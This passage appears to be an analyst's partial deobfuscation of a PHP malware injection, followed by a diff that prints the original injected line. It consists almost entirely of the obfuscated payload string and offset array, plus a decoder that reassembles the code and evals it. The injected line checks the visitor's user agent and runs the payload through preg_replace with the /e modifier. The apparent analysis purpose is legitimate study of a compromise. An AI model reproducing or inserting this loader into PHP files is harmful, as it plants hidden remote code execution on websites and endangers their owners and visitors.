x7825tdz)%x5c%x7825bbT-%x5c%48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]3c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%s%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7x5c%x7825w%x5c%x7860TW5)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-c%x7825w6Z6<.4%x5c%x7860hA25bG9}:}.}-}!#*<%x5c%x7825n7825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x7fw6*%x5c%x787f_*#[k2%x5c%x7epmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)s78256<%x5c%x787fw6*%x5c%x787f_*#fmjg)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%xc%x7825t2w>#]y74]273]y76]252]y85]256]PI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFSx5c%x7860sfqmbdf)%x5c,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%xy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#56<%x5c%x787fw6*%x5c%x787f_*#ujoj4<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]7825)uqpuft%x5c%x7860msvd},;uqpuft%x5cc%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272q%x7825)Rd%x5c%x7825)Rb%x5c%x<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<!%xd>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<x7825)tpqsut>j%x5c%x7825!*72!%x5c%x782%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%xsutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x584:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7Rk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x78if((function_exists("%x6f%142%x5f%163%x74%reporting(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%r%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5cx7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7s%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x78**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<<%x5c%x7825tdz>#L4]275L3]248L3P6L%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%xhmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#%x29%51%x29%73", NULL); }%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-_GMFT%x5c%x7860QIQ&f_UTpoV;hojepdoF.uofuopD#)sfebfI{*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfiBALS["%x61%156%x75%156%x61"]=1; function fjf]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x2f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x782578256<#o]1%x5c%x782f28256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmq824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]:#*%x5c%x7824-%x5c%x7824!>!tus%c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e25j:.2^,%x5c%x7825b:y6g]257]y86]267]y74]o:!>!%x5c%x78242178}527}88:}334}472%x5c%x782%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!%x5c%x78b%x5c%x7825w:!>!%x5c%x7824676<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x62]y3:]84#-!OVMM*<%x22%51%x787f!|!*uyfu%x5c%x7827x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#x7825tzw>!#]y76]277]y72]265]y39]274]y85]2735:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:489!>!fyqmpef)#%x5c%x7824*<!%x5f%x5c%x7878pmpusut)tpqssutRe%x5c6]373P6]36]73]83]238M7]381]211M5]67]452]88]5]5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782f45]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x78x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7g**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x785c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*5zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ek:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f#p#%x2]y83]273]y72]282#<!%x5c%x7825z!>2<!gps)%x5c%x7825j&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x786027!hmg%x5c%x7825)!gj!<2,*j%x5c65]y39]271]y83]256]y78]24j%x5c%x78256<^#zsfvr#%x5825j,,*!|%x5c%x7824-%42%x2c%163%x74%162%x5f%163%x7f.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%/(.*)/epreg_replacesdiyswtcgo';
$bar_arr = [
7097,
42,
4474,
68,
8103,
44,
2952,
38,
7139,
69,
2339,
50,
6631,
52,
10023,
30,
4316,
56,
8585,
65,
8840,
37,
2242,
68,
5612,
26,
331,
45,
3508,
65,
1093,
44,
8325,
41,
3210,
45,
2459,
53,
9493,
64,
1863,
32,
7770,
53,
8304,
21,
1029,
36,
5426,
41,
7433,
55,
8521,
64,
9430,
63,
4060,
39,
6366,
58,
9979,
24,
5023,
61,
4606,
33,
5084,
56,
1295,
48,
7488,
68,
1528,
34,
426,
20,
563,
34,
8941,
52,
5886,
36,
1611,
64,
256,
53,
999,
30,
4205,
22,
3381,
63,
6239,
33,
7027,
70,
5789,
28,
6683,
48,
2728,
29,
2389,
70,
309,
22,
6328,
38,
526,
37,
800,
31,
3927,
43,
9724,
43,
1952,
28,
5489,
63,
6877,
59,
5366,
60,
6594,
37,
9924,
30,
5181,
57,
7731,
39,
6066,
60,
5922,
47,
4372,
32,
7823,
39,
4263,
53,
2061,
33,
4447,
27,
7862,
24,
4124,
37,
196,
60,
9611,
44,
8009,
38,
3029,
56,
4959,
64,
696,
45,
8194,
60,
1562,
27,
10053,
53,
1462,
66,
9557,
54,
654,
42,
5140,
41,
5817,
69,
9248,
32,
6424,
28,
3444,
64,
7956,
23,
6006,
39,
9868,
56,
1343,
69,
446,
58,
7608,
46,
4639,
61,
9018,
24,
9692,
32,
5721,
68,
3145,
37,
8047,
56,
6506,
44,
6977,
50,
4781,
65,
4099,
25,
9125,
43,
504,
22,
8775,
65,
6550,
44,
2898,
54,
1167,
59,
3795,
43,
4734,
47,
4542,
39,
2595,
21,
4227,
36,
7979,
30,
3713,
37,
8432,
58,
7556,
52,
895,
45,
1895,
57,
2757,
35,
6731,
30,
3838,
49,
9082,
43,
2990,
39,
9817,
26,
3085,
60,
4404,
43,
5969,
37,
8670,
20,
3255,
69,
3970,
45,
9325,
63,
7276,
55,
1412,
50,
4882,
50,
2030,
31,
5665,
56,
1734,
26,
4932,
27,
2792,
69,
8690,
44,
6272,
56,
5552,
60,
4700,
34,
2616,
60,
7911,
45,
7687,
44,
1137,
30,
8490,
31,
6045,
21,
4015,
45,
7331,
61,
10003,
20,
3887,
40,
6761,
67,
89,
46,
1675,
59,
1589,
22,
9220,
28,
3660,
53,
1980,
50,
8734,
41,
831,
64,
4581,
25,
3750,
45,
135,
61,
2512,
50,
9655,
37,
2094,
43,
3573,
34,
4161,
44,
376,
50,
3348,
33,
1226,
69,
2310,
29,
3607,
53,
9168,
52,
6936,
41,
3182,
28,
597,
57,
6194,
45,
7654,
33,
4846,
36,
9388,
42,
5638,
27,
5238,
68,
9042,
40,
2562,
33,
2179,
63,
9280,
45,
5306,
60,
962,
37,
7392,
41,
8254,
50,
3324,
24,
1824,
39,
1760,
64,
8877,
64,
2861,
37,
8650,
20,
6452,
54,
6828,
49,
9843,
25,
9767,
50,
940,
22,
7208,
68,
5467,
22,
0,
68,
1065,
28,
8366,
66,
6126,
68,
2676,
52,
8147,
47,
68,
21,
9954,
25,
741,
59,
2137,
42,
8993,
25,
7886,
25
];
$baz = substr($foo, 10106, 7);
// echo $baz; // Added by me
if (!function_exists("mistery_f")) {
function mistery_f($arg_one_arr, $arg_two) { // Decode $foo?!?!?
$fun_object = NULL;
for ($i = 0; $i < sizeof($arg_one_arr) / 2; $i++) {
$fun_object .= substr($arg_two, $arg_one_arr[$i * 2], $arg_one_arr[$i * 2 + 1]);
}
return $fun_object;
};
}
$codestr = " /* weirdcomment_1 */ eval(str_replace('%', '\', mistery_f($bar_arr, $foo))); /* weirdcomment_2 */ ";
$tmp_var = substr($foo, 10113, 12);
$tmp_var($baz, $codestr, NULL);
$tmp_var = $codestr;
$tmp_var = 121;
$foo = $tmp_var - 1;
// [...] is some code missing here? // Added by me
?>
Raw
02_changes.diff
1c1,492
< <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $vidirizvvr = '~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x*0f(-!#]y76]277]y72]25c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x78x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x787x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^j6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x782x7860UQPMSVD!-id%x5c%x%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%xw)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WY%x5c%x7860{66~6<&w6<<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x78223}!+!<+{e%x5c%x7%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;g%x5c%x787fw6*CW&)7gj6<*doj%x5c%x785c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fd%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui8]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]5vc%x5c%x7825}&;ftmbg}%x5c%x787f7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U5c%x782f%x5c%x7825z<jg1#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bs7tfs%x5c%x78256<*17-SFEBFI,6<*0QUUI7jsv%x5c%x78257UFH#%x5c%x7827rf5c%x7825tzw%x5c%x782f%x5c%x7%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x7x5c%x7824-tusqpt)%x5c%x7825z-#x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmx5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5q%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%QUUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*x7825!<*::::::-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%xx5c%x787fw6*%x5c%x787f_*#fubfsdXk55c%x7827,*b%x5c%x7827)fepdo5%x5c%x7824-%x5c%x7824k4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7g24*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x782]18y]#>q%x5c%x7825<#762]67%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*5s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c27&6<*rfs%x5c%x78257-K)fujs%x5c%!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2opjudovg)!gj!|!*msv%x5c%x7824:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)c%x7825:<#64y]552]e7y]#>n%x5c%x9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sz-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%3]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]#Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]37~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5597f-s.973:8297f:5297e:56-%x5154%x28%151%x6d%160%x6c%157%x64%145%x28%141%x72%165c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x782~<%x5c%x7825h00#*<%x5c%x7825nfd)#5c%x7825>2q%x5c%x7825x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271860ufh%x5c%x7860fmjg}[;ldpt%x-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x77825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x78257825b:>%x5c%x7825s:%x5c%x785c%x5c%x78*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%gg($n){return chr(ord($n)-1);} @error_]y6g]273]y76]271]y7d]252]y74]256]y39]255-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*7825tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x55c%x782f#%x5c%x782f},;#-#}+;%x5c%x782x5c%x7825tpz!>!#]D6M7]K3#<%xyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7r%x5c%x7878<~!!%x5c%x782sboepn)%x5c%x7825bss-%x5c%x7825r%OBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x7827825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hAx5c%x785c1^-%x5c%x7825r%x5c%x785c2c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]yw%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf5cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%fV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%j6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5|:*mmvo:>:iuhofm%x5c%x782j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2127-UVPFNJU,6<*27-SFGT<#g6R85,67R37,18R#>q%x5c%x7825V<*#fo25)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c0%154%x69%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5utcvt)!gj!|!*bubE{h%x5c%x78141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLO%x7825>U<#16,47R57,27R66,#%x5c%x782fq%xc%x785c2^<!Ce*[!%x5c%x782cq%x5c%x7825%x5c%x7827jsv%x5c%x78**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x5c%x7824-!%x5c%x7825%x5c%x7824-%c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]2h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5y]562]38y]572]48y]#>m%x5c%x.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cx7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)f%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%xfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]3c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%s%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7x5c%x7825w%x5c%x7860TW5)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-c%x7825w6Z6<.4%x5c%x7860hA25bG9}:}.}-}!#*<%x5c%x7825n7825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x7fw6*%x5c%x787f_*#[k2%x5c%x7epmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)s78256<%x5c%x787fw6*%x5c%x787f_*#fmjg)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%xc%x7825t2w>#]y74]273]y76]252]y85]256]PI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFSx5c%x7860sfqmbdf)%x5c,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%xy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#56<%x5c%x787fw6*%x5c%x787f_*#ujoj4<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]7825)uqpuft%x5c%x7860msvd},;uqpuft%x5cc%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272q%x7825)Rd%x5c%x7825)Rb%x5c%x<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<!%xd>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<x7825)tpqsut>j%x5c%x7825!*72!%x5c%x782%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%xsutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x584:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7Rk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x78if((function_exists("%x6f%142%x5f%163%x74%reporting(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%r%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5cx7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7s%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x78**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<<%x5c%x7825tdz>#L4]275L3]248L3P6L%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%xhmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#%x29%51%x29%73", NULL); }%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-_GMFT%x5c%x7860QIQ&f_UTpoV;hojepdoF.uofuopD#)sfebfI{*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfiBALS["%x61%156%x75%156%x61"]=1; function fjf]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x2f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x782578256<#o]1%x5c%x782f28256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmq824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]:#*%x5c%x7824-%x5c%x7824!>!tus%c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e25j:.2^,%x5c%x7825b:y6g]257]y86]267]y74]o:!>!%x5c%x78242178}527}88:}334}472%x5c%x782%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!%x5c%x78b%x5c%x7825w:!>!%x5c%x7824676<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x62]y3:]84#-!OVMM*<%x22%51%x787f!|!*uyfu%x5c%x7827x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#x7825tzw>!#]y76]277]y72]265]y39]274]y85]2735:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:489!>!fyqmpef)#%x5c%x7824*<!%x5f%x5c%x7878pmpusut)tpqssutRe%x5c6]373P6]36]73]83]238M7]381]211M5]67]452]88]5]5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782f45]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x78x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7g**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x785c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*5zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ek:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f#p#%x2]y83]273]y72]282#<!%x5c%x7825z!>2<!gps)%x5c%x7825j&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x786027!hmg%x5c%x7825)!gj!<2,*j%x5c65]y39]271]y83]256]y78]24j%x5c%x78256<^#zsfvr#%x5825j,,*!|%x5c%x7824-%42%x2c%163%x74%162%x5f%163%x7f.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%/(.*)/epreg_replacesdiyswtcgo'; $raprmlaacp = explode(chr((292-248)),'7097,42,4474,68,8103,44,2952,38,7139,69,2339,50,6631,52,10023,30,4316,56,8585,65,8840,37,2242,68,5612,26,331,45,3508,65,1093,44,8325,41,3210,45,2459,53,9493,64,1863,32,7770,53,8304,21,1029,36,5426,41,7433,55,8521,64,9430,63,4060,39,6366,58,9979,24,5023,61,4606,33,5084,56,1295,48,7488,68,1528,34,426,20,563,34,8941,52,5886,36,1611,64,256,53,999,30,4205,22,3381,63,6239,33,7027,70,5789,28,6683,48,2728,29,2389,70,309,22,6328,38,526,37,800,31,3927,43,9724,43,1952,28,5489,63,6877,59,5366,60,6594,37,9924,30,5181,57,7731,39,6066,60,5922,47,4372,32,7823,39,4263,53,2061,33,4447,27,7862,24,4124,37,196,60,9611,44,8009,38,3029,56,4959,64,696,45,8194,60,1562,27,10053,53,1462,66,9557,54,654,42,5140,41,5817,69,9248,32,6424,28,3444,64,7956,23,6006,39,9868,56,1343,69,446,58,7608,46,4639,61,9018,24,9692,32,5721,68,3145,37,8047,56,6506,44,6977,50,4781,65,4099,25,9125,